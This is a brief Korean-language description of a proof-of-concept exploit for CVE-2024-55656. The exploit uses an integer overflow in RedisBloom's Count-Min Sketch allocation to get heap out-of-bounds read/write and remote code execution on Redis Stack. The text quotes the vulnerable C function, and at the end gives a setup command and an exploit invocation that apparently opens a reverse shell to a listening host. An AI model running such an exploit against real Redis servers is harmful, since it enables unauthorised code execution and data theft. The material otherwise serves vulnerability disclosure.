
CVE-2024-55656에 대한 개념 증명 익스플로잇으로, RedisBloom의 정수 오버플로우로 인해 힙 기반 OOB 읽기/쓰기 및 Redis Stack 7.2.0-v10에서의 원격 코드 실행이 발생합니다.
RedisBloom(https://github.com/RedisBloom/RedisBloom)에 정수 오버플로 취약점이 존재합니다. RedisBloom은 redis(https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/)에서 사용되는 모듈입니다. 이 정수 오버플로 취약점으로 인해 공격자(비밀번호를 알고 있는 redis 클라이언트)가 래핑(wraparound)으로 인해 필요한 메모리보다 적은 힙 메모리를 할당할 수 있습니다. 이후 이 할당된 메모리를 넘어서 읽기 및 쓰기가 가능해져 정보 유출 및 OOB 쓰기로 이어집니다.
정수 오버플로는 CMS.INITBYDIM 명령어에 있으며, 이 명령어는 사용자가 지정한 차원으로 Count-Min Sketch를 초기화합니다. 이 명령어는 두 개의 값(width와 depth)을 입력받아 NewCMSketch()에서 메모리 할당에 사용합니다.
File: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
OOB 읽기는 CMS_Query()에 구현된 CMS.QUERY 명령어를 통해 이루어집니다.
OOB 쓰기는 CMS_IncrBy()에 구현된 CMS.INCRBY 명령어를 통해 이루어집니다.
전체 분석은 권고문을 확인하세요.
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444